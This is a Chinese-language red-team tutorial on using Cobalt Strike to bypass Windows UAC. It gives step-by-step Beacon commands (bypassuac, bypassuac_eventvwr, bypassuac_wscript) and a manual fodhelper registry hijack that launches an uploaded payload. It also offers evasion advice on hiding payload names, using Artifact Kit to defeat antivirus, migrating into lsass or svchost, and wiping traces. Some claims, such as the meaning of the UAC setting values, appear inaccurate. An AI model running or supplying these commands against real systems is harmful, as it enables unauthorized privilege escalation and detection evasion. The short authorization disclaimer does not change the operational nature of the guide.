Cobalt Strike Bypass UAC实战:原理、方法与权限提升技巧
1. 项目概述:从“权限不足”到“掌控全场”
在渗透测试或红队评估的后期,我们常常会遇到一个令人抓狂的提示:“权限不足”。你或许已经通过钓鱼、漏洞利用或弱口令爆破,成功在目标Windows主机上获得了一个初始立足点——一个反弹回来的shell。但当你试图转储LSASS进程内存、修改注册表关键项、或者向系统目录写入文件时,系统却无情地拒绝了你的请求。这通常意味着你获得的只是一个“中完整性”(Medium Integrity)的shell,用户账户控制(UAC)这道安全防线依然在发挥作用。
UAC是微软自Vista以来引入的核心安全机制,它的设计初衷是防止恶意软件在未经用户明确同意的情况下进行系统级更改。简单理解,它就像你家门口的保安,即使你(当前用户)是这栋楼的业主(管理员组成员),想搬动大厅里的公共家具(执行高权限操作),保安(UAC)也会要求你再次出示证件或进行二次确认。对于攻击者而言,目标用户是本地管理员组成员,但获得的shell权限却被限制,这就是典型的“中完整性”上下文。
Cobalt Strike,作为一款领先的渗透测试框架,其强大的后渗透能力备受推崇。其中,bypassuac模块就是专门为应对上述场景而生的利器。它并非利用系统漏洞,而是巧妙地滥用Windows系统内置的、拥有“自动提升”(AutoElevate)特性的合法程序或机制,诱使系统在不弹出UAC提示框的情况下,为我们生成一个“高完整性”(High Integrity)的shell。这个过程,我们称之为“Bypass UAC”(绕过用户账户控制)。本文将手把手带你深入Cobalt Strike的Bypass UAC功能,从原理到实操,彻底告别“权限不足”的困扰,实现平滑的权限提升。
2. 核心原理:UAC机制与Bypass的本质
要有效利用Bypass UAC,必须先理解我们绕过了什么。UAC并非一个简单的“是/否”开关,而是一套复杂的完整性级别(Integrity Level, IL)和提升逻辑。
2.1 完整性级别与UAC弹窗逻辑
Windows进程运行在特定的完整性级别下,从低到高分为:低(Low)、中(Medium)、高(High)、系统(System)。普通用户启动的程序默认为“中完整性”。当属于管理员组的用户启动一个程序时,系统会检查该程序的清单(Manifest)或启发式规则,判断其是否需要“管理员”权限。
如果需要,且当前shell是“中完整性”,则会触发UAC弹窗,要求用户确认。用户确认后,系统会创建一个新的、以“高完整性”运行的进程。关键在于,这个提升过程是由一个名为consent.exe的系统进程(以SYSTEM权限运行)来管理和执行的。Bypass UAC的核心思路,就是想方设法让consent.exe在用户无感知的情况下,为我们启动一个高完整性进程。
2.2 Bypass UAC的常见技术路径
Cobalt Strike的bypassuac模块集成了多种技术,主要围绕以下两类路径:
- 文件/注册表操作滥用:利用那些拥有
AutoElevate标记的、受信任的Windows系统程序(如fodhelper.exe,eventvwr.exe,sdclt.exe等)。这些程序被设计为在特定条件下自动以高权限运行,而不触发UAC。攻击者通过篡改这些程序预期读取的注册表键值或配置文件,将其指向我们控制的恶意可执行文件(如payload),从而“劫持”其自动提升的权限。 - COM接口与提升协议:利用组件对象模型(COM)中一些设计缺陷或未受保护的提升接口。通过向高权限的COM服务器发送特定请求,诱导其加载并执行我们提供的DLL或代码,从而在目标进程中实现权限提升。
Cobalt Strike的模块将这些技术封装成自动化脚本,通过PowerShell或可执行文件在内存或磁盘上执行,最终目的是生成一个高完整性的Beacon会话。
2.3 为什么选择Cobalt Strike的Bypass UAC?
- 高度集成:无需额外上传或编译第三方工具(如UACME项目exe),所有操作在Beacon会话内通过内置模块完成,减少了暴露痕迹。
- 多种方法:提供
bypassuac,bypassuac_eventvwr,bypassuac_wscript等多种子模块,针对不同系统环境有更高的成功率。 - 内存操作:支持文件-less攻击,通过PowerShell反射加载等技术,尽可能减少磁盘写入,规避部分AV/EDR的静态检测。
- 会话维持:成功后会直接生成一个新的、高完整性的Beacon会话,与C2服务器通信,便于后续的横向移动、权限维持等操作。
3. 环境准备与前置条件
在开始实操前,必须确保满足以下条件,否则Bypass UAC尝试必然失败。
3.1 目标系统与用户条件
- 操作系统版本:Bypass UAC技术高度依赖于具体的Windows版本和补丁。本文讨论的技术主要适用于Windows 7到Windows 10/11,以及对应的Server版本。微软会通过系统更新修复已知的Bypass方法,因此较新的、完全打齐补丁的系统可能使某些方法失效。
- 用户权限:当前已获得的Beacon会话所属用户,必须是目标本地“Administrators”组的成员。这是Bypass UAC的前提。如果当前用户只是一个普通用户(Users组),那么UAC绕过技术是无效的,你需要先通过其他提权漏洞(如内核漏洞、服务配置错误等)将自己加入管理员组。
- UAC设置级别:目标系统的UAC设置不能为“最高级别”。在最高级别下,任何操作都需要确认,包括安全桌面切换,这会阻断大多数Bypass技术。通常,默认的“仅在程序尝试更改计算机时通知我”级别是可利用的。你可以通过
shell reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin命令快速查看,值为5或2通常表示可尝试绕过,值为1则难度极大。
3.2 攻击者Cobalt Strike配置
- 监听器(Listener):确保你已经配置好一个可用的监听器(如HTTP、HTTPS)。新的高完整性Beacon会话将通过此监听器回连。
- 初始Beacon会话:你已经通过某种方式(例如:鱼叉攻击、漏洞利用、凭证窃取等)在目标机器上获得了一个中完整性的Beacon会话。你可以通过Beacon的
getuid和run whoami /groups | findstr Mandatory命令来初步判断。如果getuid显示的用户在管理员组,但执行高权限操作失败,且完整性级别为“Medium”,那么就是Bypass Uac的典型场景。
注意:在实际测试中,务必在授权的环境中进行。未经授权对任何系统进行渗透测试是非法行为。
4. 实操演练:Cobalt Strike Bypass UAC全流程
假设我们已经获得了一个目标Windows 10主机(版本1909)上的Beacon会话,用户CSDOMAIN\jdoe是本地管理员组成员,但当前会话权限受限。
4.1 信息收集与条件确认
首先,在Beacon中使用shell命令执行系统命令,收集关键信息。
# 查看当前用户和组 shell whoami shell net user jdoe | findstr “Local Group Memberships” # 或更精确地查看管理员组 shell net localgroup administrators # 查看系统信息,特别是版本号 shell systeminfo | findstr /B /C:“OS Name” /C:“OS Version” /C:“OS Build” # 查看UAC设置 (值说明:1=始终通知,2=默认,5=不通知但安全桌面) shell reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin确认jdoe在administrators组中,并且UAC设置不是1。例如,看到ConsentPromptBehaviorAdmin REG_DWORD 0x5,这是一个利好条件。
4.2 使用bypassuac模块
Cobalt Strike的bypassuac是一个“攻击”(Attack)包,它内部会尝试多种方法。
- 选择模块:在Beacon中,输入
bypassuac,然后按Tab键补全。你会看到类似bypassuac [listener]的提示。
这里需要指定一个监听器名称。假设你已有一个名为beacon> bypassuac [*] Tasked beacon to spawn windows/beacon_http/reverse_http (192.168.1.100:80) in a high integrity contexthttp80的HTTP监听器。beacon> bypassuac http80 - 执行与等待:执行命令后,Cobalt Strike会在目标机器上执行一系列操作。如果成功,团队服务器(Team Server)的事件日志(Event Log)会显示“Beacon called home”等信息,并且你会看到一个新的Beacon会话出现在目标下方,其图标可能带有一个小盾牌(取决于Cobalt Strike主题),表示高完整性。
- 验证结果:切换到新生成的Beacon会话,执行
getuid和run whoami /groups | findstr Mandatory。现在你应该看到完整性级别是“High”。尝试执行之前失败的高权限命令,如ls \\C$或mimikatz,现在应该可以成功了。
4.3 使用特定方法模块:bypassuac_eventvwr
如果通用的bypassuac模块失败(可能因为目标系统已修补了其默认使用的技术),可以尝试更具体的方法。bypassuac_eventvwr是一个经典且曾经非常有效的方法,它滥用Windows事件查看器(eventvwr.exe)的注册表劫持。
- 生成Payload:首先,你需要为高完整性会话准备一个Payload。在Cobalt Strike的“攻击”(Attacks) -> “包”(Packages) -> “Windows可执行文件(S)”中,选择你的监听器(如
http80),输出格式选择“Windows EXE”,勾选“x64”(如果目标系统是64位),然后生成一个exe文件,例如highbeacon.exe。 - 上传与执行模块:将生成的
highbeacon.exe上传到目标机器的可写目录,例如C:\Users\Public。
然后,在Beacon中直接运行beacon> upload /path/to/highbeacon.exe beacon> cd C:\Users\Publicbypassuac_eventvwr模块,并指定上传的exe路径。beacon> bypassuac_eventvwr C:\Users\Public\highbeacon.exe - 原理简述:该技术利用了
eventvwr.exe启动时会检查HKCR\mscfile\shell\open\command注册表键值的特性。默认情况下,此键值指向%SystemRoot%\system32\mmc.exe。模块会临时修改此键值,指向我们上传的highbeacon.exe,然后启动eventvwr.exe。由于eventvwr.exe具有AutoElevate属性,它会自动以高权限启动,从而顺带执行了我们的恶意exe。执行后,模块会清理注册表痕迹。
4.4 使用bypassuac_wscript模块
另一个常见的方法是滥用wscript.exe或cscript.exe。这个方法通过修改HKCU\Environment下的注册表键,利用“COM劫持”或脚本执行上下文来提权。
在Beacon中,使用方式与bypassuac类似,需要指定监听器:
beacon> bypassuac_wscript http80这个模块通常会生成一个JavaScript或VBScript文件在临时目录,并利用wscript.exe执行它,最终生成高完整性Beacon。
5. 进阶技巧与深度解析
5.1 模块选择与失败排查
没有一种Bypass UAC方法能保证100%成功。实战中需要根据情况尝试。
- 尝试顺序:通常先尝试
bypassuac(通用模块),如果失败,再按bypassuac_eventvwr->bypassuac_wscript-> 其他模块的顺序尝试。也可以查阅Cobalt Strike官方文档或社区,了解各模块适用的系统版本。 - 失败原因分析:
- 权限不足:当前用户非管理员组。重新检查
whoami /groups。 - UAC设置为最高:
ConsentPromptBehaviorAdmin值为1。这种情况下Bypass极其困难,可能需要社会工程诱导用户点击,或寻找其他提权路径。 - 防病毒/EDR拦截:Bypass操作(如注册表修改、可疑进程链)被安全软件检测并阻止。可以尝试使用
execute-assembly运行内存中的.NET版Bypass工具,或使用更冷门的方法。 - 系统已修补:目标系统已安装KB补丁,修复了该Bypass方法利用的漏洞。需要寻找更新的0day或1day方法。
- 权限不足:当前用户非管理员组。重新检查
- 日志查看:密切关注Cobalt Strike团队服务器的事件日志,里面常有错误信息提示,例如“Bypass UAC failed: operation returned error 5 (Access Denied)”等。
5.2 规避检测与痕迹清理
Bypass UAC操作会在系统中留下痕迹,熟练的蓝队或EDR可以检测到。
- 进程链异常:EDR会监控例如
中等完整性进程 -> 修改注册表 -> 启动受信任系统程序 -> 生成高权限子进程这样的可疑链条。使用bypassuac_eventvwr会创建eventvwr.exe -> highbeacon.exe的进程树。 - 注册表监控:对
HKCR\mscfile\shell\open\command等关键注册表路径的临时修改会被记录。 - 规避建议:
- 使用内存执行:优先使用
bypassuac或bypassuac_wscript这类更多依赖内存中PowerShell执行的方法,减少磁盘文件落地。 - 延迟执行:某些模块允许指定延迟时间,让恶意操作与触发行为在时间上分离,扰乱检测。
- 自定义二进制路径:如果必须上传文件,不要使用默认名称或常见路径。可以放在
C:\Windows\Temp或C:\Users\Public下,并使用看似合法的名称。 - 及时清理:Cobalt Strike的模块通常包含自动清理功能,但失败时可能留下残骸。手动检查并清理临时目录(
%TEMP%)和注册表键值。 - 组合技术:在获得高权限后,立即迁移进程(
ps->migrate)到一个稳定的、看似合法的系统进程(如lsass.exe,svchost.exe)中,以脱离可疑的进程链。
- 使用内存执行:优先使用
5.3 替代方案与手动Bypass
当Cobalt Strike内置模块全部失效时,可以考虑以下方案:
- 使用
runas与保存的凭据:如果目标机器上曾以管理员身份运行过程序并保存了凭据(通过cmdkey /list查看),可以直接使用runas /savecred /user:Administrator “cmd.exe”来获得高权限命令行。但这不属于UAC绕过,且依赖已保存的凭据。 - 使用
execute-assembly运行第三方工具:将UACME项目的.NET编译版本(如Uacme.Net)或RogueWinRM等工具的Assembly上传并内存执行。例如:
这需要你提前了解工具用法并准备好对应的可执行文件。beacon> execute-assembly /path/to/Uacme.Net.exe <方法编号> <监听器参数> - 手动实现已知Bypass:例如,手动执行
fodhelper.exeBypass。原理是修改HKCU\Software\Classes\ms-settings\shell\open\command下的注册表值,然后启动fodhelper.exe。可以在Beacon中用shell命令一步步操作:# 创建注册表项和值,指向你的Payload shell reg add “HKCU\Software\Classes\ms-settings\Shell\Open\command” /d “C:\Users\Public\highbeacon.exe” /f shell reg add “HKCU\Software\Classes\ms-settings\Shell\Open\command” /v “DelegatedExecute” /t REG_SZ /f # 执行fodhelper.exe shell C:\Windows\System32\fodhelper.exe # 等待几秒后清理注册表 shell reg delete “HKCU\Software\Classes\ms-settings\Shell\Open\command” /f
6. 常见问题与排查实录
在实际操作中,你可能会遇到各种问题。以下是一些常见场景及解决思路。
| 问题现象 | 可能原因 | 排查与解决步骤 |
|---|---|---|
执行bypassuac后无新会话产生,事件日志无错误。 | 1. Payload生成或执行失败但未报错。 2. 网络通信问题,新Beacon无法回连。 3. 模块执行被静默阻断。 | 1. 在目标机器临时目录查看是否有新进程产生(shell tasklist | findstr beacon)。2. 检查监听器配置是否正确,防火墙是否放行。 3. 尝试使用 bypassuac的verbose模式(如果支持)或换用其他模块。 |
| 事件日志显示“Access is denied” (错误5)。 | 1. 当前会话用户权限不足(非管理员)。 2. 对关键注册表路径(如HKCR)无写权限。 3. 防病毒软件阻止注册表修改。 | 1. 确认whoami /groups输出包含BUILTIN\Administrators。2. 尝试使用基于当前用户配置单元(HKCU)的Bypass方法,如 bypassuac_wscript。3. 暂时禁用或绕过AV,或尝试内存执行方式。 |
| 新会话产生,但仍然是中完整性。 | 1. Bypass技术对当前系统版本无效。 2. UAC设置为“始终通知”(级别1)。 3. Bypass过程被部分拦截,Payload虽执行但未提升。 | 1. 核对系统版本和补丁,尝试其他Bypass模块。 2. 检查 ConsentPromptBehaviorAdmin注册表值。3. 查看新进程的父进程是否为 consent.exe或具有自动提升属性的系统进程。 |
| Bypass操作成功,但新会话很快断开或被杀。 | 1. 生成的Payload被终端防护(EPP/EDR)静态或动态检测。 2. 可疑的进程链(如从eventvwr.exe生成未知exe)被行为检测引擎终止。 | 1. 使用Cobalt Strike的Artifact Kit生成免杀Payload。 2. 成功获得高权限会话后,立即使用 migrate命令迁移到稳定系统进程。3. 考虑使用更隐蔽的启动方式,如服务、计划任务、WMI事件订阅等。 |
bypassuac_eventvwr执行后,eventvwr.exe正常打开,但无新会话。 | 1. 注册表劫持失败,eventvwr.exe仍执行了原mmc.exe。 2. 上传的Payload路径错误或执行失败。 3. Payload本身无法运行(架构不符、依赖缺失)。 | 1. 手动执行reg query HKCR\mscfile\shell\open\command检查劫持是否成功。2. 确认上传的exe文件在指定路径存在且可执行。 3. 确保Payload架构(x86/x64)与系统匹配。 |
个人实操心得:
- 信息收集是第一步也是最重要的一步。不要一上来就运行
bypassuac。先花时间用shell systeminfo,shell whoami /all,shell reg query …等命令摸清目标环境(系统版本、补丁、UAC级别、安全产品),能极大提高成功率,避免无谓的尝试和暴露。 - 保持模块更新。Cobalt Strike的Aggressor Script社区会不断更新和添加新的Bypass方法。定期更新你的工具包,确保拥有应对新系统环境的武器。
- 高权限不等于为所欲为。即使获得了高完整性Beacon,现代EDR仍然可以通过内核回调、ETW事件等监控你的行为。提权后应尽快进行凭证窃取、信息收集,并规划横向移动,而不是长时间在高权限下进行大量可疑操作。
- 失败是常态。在内网渗透中,遇到打满补丁的Win10/11或Server 2019/2022是常事。当所有Bypass UAC方法都失效时,就要回归基础,寻找其他提权向量,如服务权限配置错误、不安全的注册表键、可写路径注入、内核漏洞(需结合信息收集中的补丁情况)等。UAC绕过只是权限提升武器库中的一件利器,而非万能钥匙。
